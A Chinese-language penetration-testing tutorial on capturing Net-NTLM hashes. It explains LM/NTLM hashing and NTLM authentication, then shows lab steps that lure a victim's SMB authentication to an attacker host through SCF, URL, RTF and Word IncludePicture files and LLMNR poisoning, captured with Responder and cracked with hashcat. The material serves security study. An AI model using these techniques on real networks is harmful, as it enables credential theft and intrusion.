水坑攻击-hash获取

在内网渗透的过程中，最重要的就是信息搜集，但是在极端情况下我们找不到能够横或者跨域的机器，那么这时候我们就可以尝试做一个水坑，来尝试获取hash。

既然是获取hash，我们先了解一下hash的基础知识、本地认证和网络认证。

LM Hash & NTLM Hash

本机用的密码hash是保存在本地的SAM文件中，域用户的密码hash保存在域控下的NTDS.DIT文件中。

各个版本针对LM和NTLM的支持：

LM Hash

1、Admin@123 转换为大写ADMIN@123

2、ADMIN@123转换十六进制

41444D494E40313233

3、密码不足14字节用0补全

41444D494E403132330000000000

4、分为2组7字节

41444D494E4031

32330000000000

5、将这两组7字节的十六进制转换为二进制

01000001010001000100110101001001010011100100000000110001

00110010001100110000000000000000000000000000000000000000

6、这两组每7bit一组末尾加0

0100000010100010000100101010100010010100011100100000000001100010

0011001000011000110000000000000000000000000000000000000000000000

7、将两组二进制转换为十六进制得到2组8字节编码

40A212A894720062

3218C00000000000

8、将2组8字节编码分别作为DES密钥，KGS!@#$%的16进制作为DES明文进行加密

6F08D7B306B1DAD4

B75E0C8D76954A50

9、拼接后得到最后结果

6F08D7B306B1DAD4B75E0C8D76954A50

NTLM Hash

密码为admin，操作系统会将admin转换为十六进制，经过Unicode编码后，再调用MD4加密算法加密，这个加密结果就是NTLM Hash。

admin -> hex(16进制编码) = 61646d696e61646d696e -> Unicode = 610064006d0069006e00610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

输入账号密码登录->winlogin.exe接收用户输入（windows登录界面，用户注销、重启、锁屏后，操作系统会让winlogon显示登录界面）-> lsass.exe进程将明文密码转为hash ->与sam文件对比->对比一致即成功登录。

Net-NTLM Hash数据格式

Net-NTLM Hash v1的格式为：

username::hostname:LM response:NTLM response:challenge

Net-NTLM Hash v2的格式为：

username::domain:challenge:HMAC-MD5:blob

NTLM工作组中的认证机制

1、用户登录客户端电脑。

2、客户端向服务器发送协商消息,它主要包含客户端支持和服务器请求的功能列表。

3、服务器进行响应，包含服务器支持的功能列表。最重要的是它包含服务器产生的Challenge。

4、客户端接收到步骤3中的challenge之后，使用用户hash与challenge进行加密运算得到response，将response,username,challeng发给服务器。消息中的response是最关键的部分，因为向服务器证明客户端用户已经知道帐户密码。

5、服务器拿到获取到信息以后，使用challenge和用户hash进行加密得到response2与客户端发来的response进行比较，如果相同，则返回验证成功。

NTLM在域中的认证机制

1、用户登录客户端电脑。

2、客户端向服务器发送协商消息，主要包含客户端支持和服务器请求的功能列表。

3、服务器进行响应，包含服务器支持的功能列表。最重要的是包含服务器产生的Challenge。

4、客户端接收到步骤3中的challenge之后，使用用户hash与challenge进行加密运算得到response，将response,username,challeng发给服务器。消息中的response是最关键的部分，因为向服务器证明客户端用户已经知道帐户密码。

5、服务器拿到获取到信息以后，因为用户hash是存储在域控里面，没有用户hash，也就没办法计算response2进行验证。这个时候服务器就会通过netlogon协议联系域控，建立一个安全通道,然后将response,username,challeng全部发给域控。

6、域控使用challenge和用户hash进行加密得到response2，与服务器发送的response进行比较，然后返回认证成功或者失败的结果。

思路

通过多种方式强制目标客户端向伪造的服务器发起SMB连接，在伪造的服务器上捕获数据包，获得Net-NTLM hash。

对于SMB协议，客户端在连接服务端时，默认先使用本机的用户名和密码hash尝试登录。

准备工作

攻击机kali：192.168.106.131

已经控制主机（ win7，密码为123456 ）：192.168.106.129

靶机（win7，密码为123.com）：192.168.106.130

攻击机kali ：

已经控制主机：

靶机：

可以使用SCF文件执行有限的一组操作（例如显示Windows桌面或打开Windows资源管理器）。如果使用SCF文件访问特定的UNC路径，那么我们可以发起攻击

1、首先生成一个SCF文件（192.168.106.131是kali的地址）

2、将这个scf文件设置为共享状态（已经控制主机）

       3、然后使用kali上的responder进行监听操作：

responder -I eth0

4、靶机：192.168.106.130访问恶意SCF文件

备注：

当目标机器只要访问这个scf文件之后我们就可以拿到它的NTLM hash，注意这里不需要点击也可以得到，只需要能够访问即可。

当用户浏览共享时，将自动从他的系统建立到SCF文件中包含的UNC路径的连接。Windows将尝试使用用户名和密码对共享进行身份验证。在该身份验证过程中，服务器会向客户端发送一个随机的16字节质询密钥，并使用此质询密钥再次加密散列的NTLM/ LANMAN密码,我们将捕获NTLMv2哈希。

5、kali获取到靶机：192.168.106.130的hash值

6、使用hashcat破解hash的密码

hashcat -m 5600 1.txt top100.txt

超链接

1、新建一个文件，插入超链接：\192.168.106.131qwe.exe

2、靶机点击超链接。

3、然后使用kali上的responder进行监听操作，获取到靶机：192.168.106.130的hash值：

responder -I eth0

不存在的共享

如果在缓存中没有找到名称，DNS名称服务器又请求失败时，Windows系统就会通过链路本地多播名称解析（LLMNR）和Net-BIOS名称服务（NBT-NS）在本地进行名称解析。这时，客户端就会将未经认证的UDP广播到网络中，询问它是否为本地系统的名称，由于该过程未被认证，并且广播到整个网络，从而允许网络上的任何机器响应并声称是目标机器。

通过工具(responder)监听LLMNR和NetBIOS广播，攻击者可以伪装成受害者要访问的目标机器，并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似，我们可以让攻击者作中间人，截获到客户端的Net-NTLM Hash。

1、靶机访问一个无效的共享：\111

2、然后使用kali上的responder进行监听操作，获取到靶机：192.168.106.130的hash值：

responder -I eth0

URL

原理跟使用超链接类似，让靶机去访问IconFile=\192.168.106.131qwe.icon，即一个不存在的文件。

1、生成一个test1.url，内容如下：

2、靶机192.168.106.130访问恶意URL文件

3、然后使用kali上的responder进行监听操作，获取到靶机：192.168.106.130的hash值：

responder -I eth0

RTF

富文本格式（Rich Text Format）即RTF格式，又称多文本格式，是由微软公司开发的跨平台文档格式。大多数的文字处理软件都能读取和保存RTF文档。

富文本格式 (RTF) 是一种方便于不同的设备、系统查看的文本和图形文档格式。

1、生成一个test.rtf，内容如下所示：

2、靶机：192.168.106.130访问恶意文件test.rtf

3、然后使用kali上的responder进行监听操作，获取到靶机：192.168.106.130的hash值：

responder -I eth0

IncludePicture

IncludePicture就相当于一个windows为了方便插入多个图片而设计的一个功能

1、这里打开word文档，使用ctfl + F9可以得到一个{}，我们在后面加上一个不存在的地址。

2、靶机192.168.106.130访问恶意文件test.xml

3、然后使用kali上的responder进行监听操作，获取到靶机：192.168.106.130的hash值：

responder -I eth0

参考文档：

https://mp.weixin.qq.com/s/zsye6NVkwSnSh2qbYCLSBQ

监制：船长、铁子   策划：AST   文案：W  美工：青柠